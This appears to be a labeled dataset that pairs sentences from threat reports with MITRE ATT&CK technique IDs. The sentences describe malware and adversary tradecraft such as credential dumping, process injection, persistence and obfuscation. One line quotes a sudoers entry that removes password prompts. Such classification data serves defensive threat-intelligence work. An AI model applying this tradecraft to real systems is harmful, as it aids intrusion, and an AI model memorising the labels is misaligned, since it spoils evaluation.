Assuming the lists of credentials are valid, the mass collection confirms our hypothesis that the OilRig group maintains a heavy emphasis on credential based attacks along with the other types of attacks they deploy
Technique: T1003: OS Credential Dumping
ZxShell has a feature to capture a remote computer's keystrokes using a keylogger.
Technique: T1056: Input Capture
Prikormka uses rundll32.exe to load its DLL.
Technique: T1218: Signed Binary Proxy Execution
Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.
Technique: T1003: OS Credential Dumping
P8RAT can check the compromised host for processes associated with VMware or VirtualBox environments.
Technique: T1497: Virtualization/Sandbox Evasion
Bazar can use Winlogon Helper DLL to establish persistence.
Technique: T1547: Boot or Logon Autostart Execution
macOS and Linux both keep track of system or user-initiated actions via system logs.
Technique: T1070: Indicator Removal on Host
By applying two specific obfuscation techniques within Invoke-Obfuscation, we were able to create an obfuscated PowerShell script that was very similar to the QUADAGENT payloads delivered in the attacks discussed in this blog
Technique: T1027: Obfuscated Files or Information
build_downer has the ability to send system volume information to C2.
Technique: T1082: System Information Discovery
APT32's backdoor has modified the Windows Registry to store the backdoor's configuration.
Technique: T1112: Modify Registry
Figure 9: Example Network Communication In the example, the POWRUNER client sends a random GET request to the C2 server and the C2 server sends the random number (99999999990) as a response
Technique: T1573: Encrypted Channel
Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources.
Technique: T1574: Hijack Execution Flow
Helminth encrypts data sent to its C2 server over HTTP with RC4.
Technique: T1573: Encrypted Channel
NOKKI has used FTP for C2 communications.
Technique: T1071: Application Layer Protocol
Adversaries may abuse this technology to initially conceal malicious code to be executed via documents.
Technique: T1221: Template Injection
Mofang's malicious spearphishing attachments required a user to open the file after receiving.
Technique: T1204: User Execution
AtomBombing  is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.
Technique: T1055: Process Injection
Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics  necessary for subsequent Lateral Movement and/or Defense Evasion activities.
Technique: T1040: Network Sniffing
Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
Technique: T1547: Boot or Logon Autostart Execution
Pony attachments have been delivered via compressed archive files.
Technique: T1027: Obfuscated Files or Information
PowerShower has used 7Zip to compress .txt, .pdf, .xls or .doc files prior to exfiltration.
Technique: T1560: Archive Collected Data
Technique Description   Fan Check The Trojan will perform the following WMI query:   Select * from Win32_Fan   According to MSDN, this query should return a class that provides statistics on the CPU fan
Technique: T1047: Windows Management Instrumentation
Gamaredon Group has delivered macros which can tamper with Microsoft Office security settings.
Technique: T1562: Impair Defenses
The "Blackwater.bas" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer.
Technique: T1027: Obfuscated Files or Information
NetPass is a free network password recovery tool that, according to its developer Nirsoft, can recover passwords including:  Login passwords of remote computers on LAN
Technique: T1003: OS Credential Dumping
The loader will then inject a DLL backdoor into dllhost.exe
Technique: T1055: Process Injection
Fox Kitten has base64 encoded scripts and payloads to avoid detection.
Technique: T1027: Obfuscated Files or Information
Stuxnet enumerates the directories of a network resource.
Technique: T1135: Network Share Discovery
UNC2452 configured at least one instance of Cobalt Strike to use a network pipe over SMB during the 2020 SolarWinds intrusion.
Technique: T1090: Proxy
The most interesting part is the decrypted C&C configuration, as can be seen in the image below
Technique: T1140: Deobfuscate/Decode Files or Information
BRONZE BUTLER has used at to register a scheduled task to execute malware during lateral movement.
Technique: T1053: Scheduled Task/Job
menuPass has used RDP connections to move across the victim network.
Technique: T1021: Remote Services
However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL= NOPASSWD: ALL .
Technique: T1548: Abuse Elevation Control Mechanism
Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.
Technique: T1547: Boot or Logon Autostart Execution
HotCroissant has compressed network communications and encrypted them with a custom stream cipher.
Technique: T1573: Encrypted Channel
The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.
Technique: T1110: Brute Force
Grandoreiro can download its second stage from a hardcoded URL within the loader's code.
Technique: T1105: Ingress Tool Transfer
Ferocious Kitten has attempted to convince victims to enable malicious content within a spearphishing email by including an odd decoy message.
Technique: T1204: User Execution
Agent Tesla has used SMTP for C2 communications.
Technique: T1071: Application Layer Protocol
FIN7 used the command prompt to launch commands on the victim’s machine.
Technique: T1059: Command and Scripting Interpreter
Chaes has used search order hijacking to load a malicious DLL.
Technique: T1574: Hijack Execution Flow
Leviathan has used WMI for persistence.
Technique: T1546: Event Triggered Execution
For example, Internet Server Application Programming Interface  extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests.
Technique: T1505: Server Software Component
As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.
Technique: T1600: Weaken Encryption
The rule files are in the plist format and define the name, event type, and action to take.
Technique: T1546: Event Triggered Execution
APT29 has set the hostnames of its C2 infrastructure to match legitimate hostnames in the victim environment.
Technique: T1036: Masquerading
Most of these actions are under the control of the operating system, but you can also add custom actions here.
Technique: T1547: Boot or Logon Autostart Execution
DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread.
Technique: T1055: Process Injection
FIN10 has used Meterpreter to enumerate users on remote systems.
Technique: T1033: System Owner/User Discovery
KEYMARBLE can upload files to the victim’s machine and can download additional payloads.
Technique: T1105: Ingress Tool Transfer
A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.
Technique: T1564: Hide Artifacts
Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Technique: T1070: Indicator Removal on Host